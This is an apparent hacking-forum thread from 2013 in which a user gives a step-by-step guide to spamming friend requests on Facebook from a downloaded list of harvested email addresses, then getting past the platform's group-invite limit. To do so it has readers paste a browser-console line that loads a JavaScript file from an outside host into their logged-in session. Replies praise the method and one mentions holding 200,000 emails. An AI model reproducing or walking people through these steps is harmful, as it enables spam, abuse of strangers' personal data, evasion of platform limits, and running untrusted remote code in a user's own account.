Thread: [{@@##} ADD 1000's OF FRIENDS ON FACEBOOK ALSO ADD THEM IN FB GROUP IN A SECOND {@@##}](#)

**sam2011hacker** - March 9, 2013, 7:57 pm

Hello HF,

Today i am gonna show you a small tutorial on how to add thousands on friends on facebook at once...

Q - What is a use to add thousands of friends ?

Ans - If you had a facebook group you can use these friends to get your group member count increased. You can use it to advertise. Possibilities are unlimited.

Q- How to add so many friends in my group without inviting them manually?

Ans - Below is the tutorial on how to do that.

Q- Is this some Kind of Vulnerability ?

Ans - You can say that. Ill answer that in a minute.

Q - How to use it ?

Ans - Here is a tutorial on what to do and how to do. So lets get to it.

Step 1 - Download this huge email list - [http://dl.dropbox.com/u/49564051/large\\_emailist.txt](http://dl.dropbox.com/u/49564051/large_emailist.txt)

Step 2 - Open the list you downloaded, copy all emails in that by pressing ctrl+A then ctrl + C . Now login to your facebook account and goto - <https://www.facebook.com/invite.php>

[img]<http://img836.imageshack.us/img836/6991/7a897103a699a891afcb5be.png>[/img]

Step 3 - Now paste all the emails you copied in the first text box and type the message you want to give to them along with your frnd request.. For eg - "Hi add me, gonna b fun talking to you. thanks"

Step 4 - Click Invite your Friends and page will be loaded showing to how many people we sent friend request.

Step 5 - Now wait for some time. Its the imporant part. You need to wait so that they add you. When you'll find you have enough friends you can move on to he second part.

### PART - II

In this part i will show you how to add thousands of friends to your group without inviting them manually. Facebook limits adding people at once. Its about 60 i think. We can bypass it.

Follow the steps -:

Step 1 - Goto your facebook group. If you are on google chrome then press ctrl+shift+J and if you are on firefox then press ctrl+shift+K

Step 2 - you'll see something like this

[img]http://img248.imageshack.us/img248/4747/1c0e0fae0fe7ca97fcba245.png[/img]

Step 3 - Now copy the code i am giving you here and paste it exactly in that box.

Quote:

```
document.body.appendChild(document.createElement('script')).src='http://jigs-creations.googlecode.com/files/fb-group-inviter.js';
```

You should do something like this :-

[img]http://img443.imageshack.us/img443/7341/sadsb.png[/img]

Step 4 - Now press Enter and wait till it do its job.

Step 5 - Check your members in your group and enjoy.

Tonight i will make a video on this also. this then use this.

Thanks for reading this. Say thanks if i helped. This tutorial is purely written by me.

Very nice tutorial mate trying it right now

**Fred Rechid** - March 9, 2013, 8:11 pm

Amazing, Just did it.. hope it works :D

**Uzapi** - March 9, 2013, 8:16 pm

Awesome.

Can we use any email list?

I have roughly 200k emails laying around in my comp.

**sam2011hacker** - March 9, 2013, 8:19 pm

you can use any email list but they need to be on Fb

**lucke100718** - March 9, 2013, 9:06 pm

isn't CTRL+C to copy? And CTRL + V to paste?

**sam2011hacker** - March 9, 2013, 9:52 pm

oh lol, i am so sorry, that was a mistake...

**imthebaddest12** - March 10, 2013, 1:28 am

how long would you say it takes for them people to add is it random?

**sam2011hacker** - March 10, 2013, 1:53 am

(Mar 10, 2013 02:28 AM)jimthebaddest12 Wrote: [\[CITE\]](#) how long would you say it takes for them people to add is it random?

when i did this, i got 60 friends in roughly around 8 hours

**SoldierX** - March 10, 2013, 3:07 am

Good HQ Tutorial sir :) would be trying this out as soon as i am free from my exams :)

**hersheyko13** - March 10, 2013, 3:33 am

hahahaha. i already know this...but thanks again for sharing. :)

**peggy23** - March 10, 2013, 1:28 pm

very nice tutorial thanks for sharing it ..thanks

**sam2011hacker** - March 10, 2013, 11:18 pm
